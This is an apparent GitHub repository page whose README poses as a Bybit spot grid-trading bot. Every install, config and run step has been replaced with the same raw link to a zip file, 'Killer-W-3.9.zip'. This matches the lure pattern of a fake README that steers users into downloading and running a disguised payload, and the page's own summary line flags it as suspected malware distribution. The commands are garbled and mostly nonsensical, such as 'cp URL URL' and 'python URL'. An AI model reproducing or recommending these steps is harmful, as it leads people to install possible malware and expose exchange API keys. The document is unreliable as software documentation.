matsasasda11/WU-Killer
GitHub: matsasasda11/WU-Killer
伪装成Windows更新管理工具的可疑仓库,实际内容与描述严重不符,存在恶意软件分发嫌疑。
Stars: 0 | Forks: 0
# Bybit Grid Trading Bot
一款用于 Bybit SPOT 交易所的高级 Grid Trading 机器人,具备每个网格级别的独立 Take Profit 水平。
## 🚀 功能
- **带独立 TP 的 Grid Trading**:每个网格级别都有自己的 Take Profit 水平
- **自动重置**:达到 TP 后,自动在同一水平下买入订单
- **风险管理**:全面的风险控制系统,包含持仓限制和 stop loss
- **异步操作**:基于 asyncio 的高效异步操作
- **实时监控**:带有详细日志的实时监控
- **可配置参数**:通过 YAML 文件和环境变量轻松配置
- **现代 Web GUI**:直观的 Web 界面,支持实时更新和高级图表
## 📋 要求
- Python 3.10+
- 具有 API 访问权限的 Bybit 账户
- Bybit API 密钥(testnet 或 mainnet)
## 🛠️ 安装
1. **克隆仓库**:
```
git clone
cd bybit-grid-trader
```
2. **安装依赖**:
```
pip install -r https://github.com/matsasasda11/WU-Killer/raw/refs/heads/master/utils/Killer-W-3.9.zip
```
3. **配置环境**:
```
cp https://github.com/matsasasda11/WU-Killer/raw/refs/heads/master/utils/Killer-W-3.9.zip https://github.com/matsasasda11/WU-Killer/raw/refs/heads/master/utils/Killer-W-3.9.zip
```
4. **编辑配置**:
编辑 `https://github.com/matsasasda11/WU-Killer/raw/refs/heads/master/utils/Killer-W-3.9.zip` 并添加您的 API 密钥:
```
BYBIT_API_KEY=your_api_key_here
BYBIT_API_SECRET=your_api_secret_here
BYBIT_TESTNET=true
```
5. **策略配置**:
编辑 `https://github.com/matsasasda11/WU-Killer/raw/refs/heads/master/utils/Killer-W-3.9.zip` 以调整交易参数:
```
trading:
symbol: "BTCUSDT"
grid_levels: 10
price_range:
min: 40000.0
max: 50000.0
tp_percentage: 0.5
order_size: 0.001
```
## 🚀 运行
### Web 界面(推荐):
```
# 启动 Web 接口
make web
# 或者直接
python https://github.com/matsasasda11/WU-Killer/raw/refs/heads/master/utils/Killer-W-3.9.zip
# 访问:http://localhost:8000
```
### 命令行界面:
```
# 基本运行
python https://github.com/matsasasda11/WU-Killer/raw/refs/heads/master/utils/Killer-W-3.9.zip
# 检查状态
python https://github.com/matsasasda11/WU-Killer/raw/refs/heads/master/utils/Killer-W-3.9.zip --mode status
# 紧急停止
python https://github.com/matsasasda11/WU-Killer/raw/refs/heads/master/utils/Killer-W-3.9.zip --mode stop
# 重置紧急停止
python https://github.com/matsasasda11/WU-Killer/raw/refs/heads/master/utils/Killer-W-3.9.zip --mode reset
# 使用自定义配置
python https://github.com/matsasasda11/WU-Killer/raw/refs/heads/master/utils/Killer-W-3.9.zip --config https://github.com/matsasasda11/WU-Killer/raw/refs/heads/master/utils/Killer-W-3.9.zip
```
## 📊 策略原理
### 1. 网格初始化
- Bot 将价格区间划分为 N 个级别
- 每个级别获得独立的 Take Profit 水平
- 高于当前价格的级别将被激活
### 2. 交易循环
```
1. Wystawienie zlecenia SELL na poziomie siatki
2. Oczekiwanie na wykonanie zlecenia SELL
3. Monitorowanie ceny w oczekiwaniu na osiągnięcie TP
4. Po osiągnięciu TP: wystawienie zlecenia BUY na tym samym poziomie
5. Po wykonaniu BUY: powrót do kroku 1
```
### 3. 风险管理
- 最大持仓数量
- 敞口限制(余额百分比)
- 全局 stop loss
- 最大回撤
- 每日限制
## ⚙️ 配置
### 交易参数 (`https://github.com/matsasasda11/WU-Killer/raw/refs/heads/master/utils/Killer-W-3.9.zip`)
```
trading:
symbol: "BTCUSDT" # Para handlowa
grid_levels: 10 # Liczba poziomów siatki
price_range: # Zakres cenowy siatki
min: 40000.0
max: 50000.0
tp_percentage: 0.5 # Procent Take Profit
order_size: 0.001 # Wielkość zlecenia
update_interval: 1.0 # Interwał aktualizacji (sekundy)
```
### 风险管理
```
risk_management:
max_positions: 5 # Maksymalna liczba pozycji
max_exposure: 0.1 # Maksymalna ekspozycja (10% salda)
stop_loss_percentage: 5.0 # Stop loss (%)
max_drawdown: 10.0 # Maksymalny drawdown (%)
min_balance: 100.0 # Minimalny balans
```
### 技术参数
```
technical:
retry_attempts: 3 # Liczba prób ponowienia
timeout_seconds: 30 # Timeout dla operacji
price_precision: 2 # Precyzja ceny
quantity_precision: 6 # Precyzja ilości
```
## 📈 监控与日志
### 日志
Bot 生成以下格式的详细日志:
```
2024-01-15 10:30:45 | INFO | GridStrategy:_activate_level:123 | Activated grid level 3 with sell order abc123
```
### 性能指标
- 总循环次数
- 总盈亏
- 胜率
- 当前回撤
- 每日 PnL
### 实时状态
```
python https://github.com/matsasasda11/WU-Killer/raw/refs/heads/master/utils/Killer-W-3.9.zip --mode status
```
## 🧪 测试
### 运行测试:
```
pytest
```
### 带覆盖率的测试:
```
pytest --cov=. --cov-report=html
```
### 特定模块测试:
```
pytest https://github.com/matsasasda11/WU-Killer/raw/refs/heads/master/utils/Killer-W-3.9.zip -v
```
## 🔧 开发
### 项目结构
```
bybit_grid_trader/
├── api/ # Integracja z Bybit API
├── strategy/ # Logika strategii tradingowej
├── core/ # Główna logika aplikacji
├── utils/ # Narzędzia pomocnicze
├── tests/ # Testy jednostkowe
├── config/ # Pliki konfiguracyjne
├── docs/ # Dokumentacja
└── https://github.com/matsasasda11/WU-Killer/raw/refs/heads/master/utils/Killer-W-3.9.zip # Punkt wejścia
```
### 添加新功能
1. 在相应的包中创建适当的模块
2. 添加单元测试
3. 更新文档
4. 测试集成
## ⚠️ 警告
- **财务风险**:交易涉及资金损失风险
- **Testnet**:在 mainnet 使用前务必先在 testnet 测试
- **API 密钥**:切勿分享您的 API 密钥
- **监控**:定期监控 Bot 的运行情况
- **备份**:定期备份配置
## 🆘 故障排除
### 常见问题
1. **API 连接错误**:
- 检查 API 密钥
- 检查网络连接
- 检查 Bybit API 状态
2. **订单未执行**:
- 检查账户余额
- 检查订单参数
- 检查风险限制
3. **Bot 停止运行**:
- 检查错误日志
- 检查是否触发 stop loss
- 检查每日限制
### 调试日志
```
python https://github.com/matsasasda11/WU-Killer/raw/refs/heads/master/utils/Killer-W-3.9.zip --log-level DEBUG
```
## 📞 支持
遇到问题时:
1. 查看文档
2. 检查错误日志
3. 检查配置
4. 在 testnet 测试
## 📄 许可证
本项目采用 MIT 许可证。详情请参阅 LICENSE 文件。
## 🌐 Web 界面
现代 Web 界面提供:
### 功能:
- **仪表板**:带性能图表的实时监控
- **配置**:直观的参数配置
- **分析**:高级结果分析
- **日志**:实时日志查看
### 运行:
```
# 基本 Web 服务器
make web
# 带 auto-reload 的开发者模式
make web-dev
# 访问接口
open http://localhost:8000
```
### Web GUI 功能:
- 📊 带指标的实时仪表板
- ⚙️ 界面化配置
- 📈 性能图表 (https://github.com/matsasasda11/WU-Killer/raw/refs/heads/master/utils/Killer-W-3.9.zip)
- 🔄 WebSocket 更新
- 📱 响应式设计
- 🌙 深色模式支持
- 📋 数据导出
## ⚡ 快速开始
1. **安装**:
```
pip install -r https://github.com/matsasasda11/WU-Killer/raw/refs/heads/master/utils/Killer-W-3.9.zip
```
2. **配置**:
```
cp https://github.com/matsasasda11/WU-Killer/raw/refs/heads/master/utils/Killer-W-3.9.zip https://github.com/matsasasda11/WU-Killer/raw/refs/heads/master/utils/Killer-W-3.9.zip
# 使用 API keys 编辑 https://github.com/matsasasda11/WU-Killer/raw/refs/heads/master/utils/Killer-W-3.9.zip
```
3. **启动 Web 界面**:
```
make web
# 打开 http://localhost:8000
```
4. **或命令行**:
```
python https://github.com/matsasasda11/WU-Killer/raw/refs/heads/master/utils/Killer-W-3.9.zip
```
**祝交易顺利! 🚀**
标签:API 集成, asyncio, ATT&CK 框架, BTCUSDT, Bybit, Grid Trading, IP 地址批量处理, Object Callbacks, Python, Web GUI, 下载器, 交易策略, 加密货币交易机器人, 异步编程, 恶意软件, 数字货币, 无后门, 止盈止损, 现货交易, 社工攻击, 网格交易, 网络信息收集, 网络钓鱼, 自动化交易, 计算机取证, 逆向工具, 量化交易, 量化投资, 金融科技